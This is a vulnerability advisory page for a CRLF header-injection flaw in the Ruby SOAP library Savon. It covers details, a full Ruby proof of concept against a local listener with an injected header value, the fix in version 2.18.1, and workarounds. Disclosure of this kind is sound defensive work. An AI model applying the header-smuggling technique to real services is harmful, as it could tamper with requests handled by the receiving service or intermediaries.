Vulnerability DatabaseGHSA-57m8-w3r7-5p3w

GHSA-57m8-w3r7-5p3w: 
Ruby vulnerability analysis and mitigation

Summary

Savon decodes CR/LF characters from a WSDL soapAction attribute and inserts them into the outbound SOAPAction HTTP header. With the default HTTPI/HTTPClient transport, this permits an attacker-controlled WSDL to add arbitrary HTTP request headers

Details

Savon resolves soapAction values from the WSDL and constructs the outgoing header without rejecting HTTP control characters: https://github.com/savonrb/savon/blob/b27e6b1a0e47e32fcf864f078d9ef45607bec228/lib/savon/operation.rb#L149 A WSDL can encode CR/LF as XML character references. After parsing, Savon retains those characters in the SOAP action and constructs a header equivalent to: SOAPAction: "legitimate\r\nX-Savon-PoC: local-only" The default HTTPI/HTTPClient transport transmits this as two HTTP header lines. Confirmed on:

  • Savon 2.17.5, commit b27e6b1a0e47e32fcf864f078d9ef45607bec228
  • Ruby 3.3.8
  • HTTPI 4.0.6
  • HTTPClient 2.7.2 I have not tested earlier Savon versions.

Proof of concept

I used a loopback-only listener; no third-party system or credentials were involved. wsl.exe --cd /tmp/savon-local-review env BUNDLE_PATH=vendor/bundle /usr/bin/bundle3.3 exec /usr/bin/ruby3.3 -Ilib poc_wsdl_soapaction_header_injection.rb The PoC starts a listener on 127.0.0.1, supplies a valid WSDL with this soapAction value: soapAction="legitimate X-Savon-PoC: local-only" It produces: POST / HTTP/1.1 Content-Type: text/xml;charset=UTF-8 SOAPAction: "legitimate X-Savon-PoC: local-only" poc_wsdl_soapaction_header_injection.rb content :

require "socket"
require "savon"
fixture = File.join(__dir__, "spec", "fixtures", "wsdl", "authentication.xml")
wsdl = File.read(fixture)
wsdl.sub!(
  'soapAction=""',
  'soapAction="legitimate
X-Savon-PoC: local-only"'
)
listener = TCPServer.new("127.0.0.1", 0)
port = listener.addr[1]
received = Queue.new
server = Thread.new do
  socket = listener.accept
  received << socket.readpartial(16_384)
  socket.write("HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n")
  socket.close
end
client = Savon.client(
  wsdl: wsdl,
  endpoint: "http://127.0.0.1:#{port}"
)
client.call(:authenticate)
server.join
listener.close
request = received.pop
abort "PoC failed" unless request.include?("X-Savon-PoC: local-only")
puts "Confirmed: Savon sent an extra HTTP header derived from WSDL soapAction."
puts
puts request.lines.take_while { |line| line != "\r\n" }

Impact

An attacker who can influence a WSDL and cause an application to make a Savon call to an application-selected endpoint can inject HTTP request headers into that call. Impact depends on how the receiving service or intermediaries handle the injected header; I have not claimed request smuggling, authentication bypass, or compromise without target-specific proof.

Patches

Fixed in Savon 2.18.1. Savon now validates the SOAPAction header before any HTTP adapter sees it. A value containing CR, LF, or NUL raises Savon::InvalidHeaderError and the request is not sent. The check covers every source of the value. That's the WSDL soapAction attribute, the :soap_action option, and a SOAPAction header passed through the :headers option, under any key spelling. It applies to both the default HTTPI transport and the opt-in Faraday transport.

Workarounds

You are affected if you use the HTTPI transport with the httpclient adapter. HTTPI selects httpclient automatically whenever the gem is installed, so you can be affected without configuring an adapter. If you cannot upgrade right away, use one of these:

  • Switch to the net/http adapter with Savon.client(wsdl: ..., adapter: :net_http). net/http rejects CR and LF in header values with an ArgumentError, so the request is never sent. It does not reject NUL.
  • Pass the SOAP action explicitly on each call, for example client.call(:authenticate, soap_action: "urn:authenticate"). An explicit :soap_action takes precedence, so the WSDL value is never used.
  • Only load WSDL documents from sources you trust. Prefer a reviewed local copy over fetching the WSDL at runtime.

Source: NVD

Related Ruby vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hjvq-xxqv-7jxhMEDIUM5.9
  • Ruby logoRuby
  • savon
NoYesNov 06, 2026
GHSA-57m8-w3r7-5p3wMEDIUM4
  • Ruby logoRuby
  • savon
NoYesNov 06, 2026
GHSA-6vgc-f9v5-8939MEDIUMN/A
  • Ruby logoRuby
  • metainspector
NoYesNov 06, 2026
GHSA-mm2p-6q2v-7ph5MEDIUMN/A
  • Ruby logoRuby
  • metainspector
NoYesNov 06, 2026
GHSA-q2gc-fpw5-3v3cMEDIUMN/A
  • JavaScript logoJavaScript
  • tina4ruby
NoYesNov 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management